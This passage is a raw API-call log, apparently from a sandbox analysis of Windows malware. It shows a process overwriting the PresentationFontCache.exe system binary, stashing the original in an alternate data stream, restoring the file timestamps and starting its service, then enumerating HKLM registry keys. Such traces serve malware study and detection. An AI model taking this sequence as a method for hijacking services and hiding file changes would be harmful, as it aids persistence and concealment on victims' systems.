dwThreadId=0xac8)) returned 1 [0239.963] NtClose (Handle=0x14c) returned 0x0 [0239.963] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0239.963] NtClose (Handle=0x150) returned 0x0 [0239.963] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0240.333] NtClose (Handle=0xc4) returned 0x0 [0240.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0240.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0240.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0240.333] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97141a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97141a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa973a308, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa768)) returned 1 [0240.333] CreateFileW (lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0240.333] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0240.333] GetFileSize (in: hFile=0xc4, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0xa768 [0240.334] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0240.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xa780) returned 0x21f4ea8 [0240.334] ReadFile (in: hFile=0xc4, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0xa768, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0xa768, lpOverlapped=0x0) returned 1 [0240.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xa780) returned 0x21ff630 [0240.337] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f52c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x36f52c*=0) returned 0x0 [0240.337] WriteFile (in: hFile=0xc4, lpBuffer=0x219dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x219dea0*, lpNumberOfBytesWritten=0x36f53c*=0x44000, lpOverlapped=0x0) returned 1 [0240.341] SetEndOfFile (hFile=0xc4) returned 1 [0240.341] GetFileTime (in: hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xa973a308, dwHighDateTime=0x1cb892b)) returned 1 [0240.341] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0240.341] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0240.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0240.341] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0240.341] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0240.341] NtClose (Handle=0xc4) returned 0x0 [0240.342] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x252de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x252e948, ftLastAccessTime.dwLowDateTime=0x36f4f0, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0240.342] GetLastError () returned 0x2 [0240.342] CreateFileW (lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4 [0240.342] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0240.342] WriteFile (in: hFile=0xc4, lpBuffer=0x21ff630*, nNumberOfBytesToWrite=0xa768, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21ff630*, lpNumberOfBytesWritten=0x36f53c*=0xa768, lpOverlapped=0x0) returned 1 [0240.344] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0240.344] SetFileTime (hFile=0xc4, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0240.344] NtClose (Handle=0xc4) returned 0x0 [0240.344] OpenServiceW (hSCManager=0x803918, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x10) returned 0x803990 [0240.344] StartServiceW (hService=0x803990, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0241.611] CloseServiceHandle (hSCObject=0x803990) returned 1 [0241.611] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0241.611] GetLastError () returned 0x6 [0241.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21ff630) returned 1 [0241.612] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0241.613] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0241.613] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0241.613] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x20) returned 0x8038a0 [0241.613] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0241.614] GetLastError () returned 0x425 [0241.614] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0241.614] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.614] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.614] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.614] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0241.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.615] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.615] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.615] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.615] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.615] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.616] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.616] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.616] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.616] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.616] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.616] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.616] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1928, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.617] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0241.617] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.617] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.617] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.618] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0241.618] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.618] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0241.618] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0241.618] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 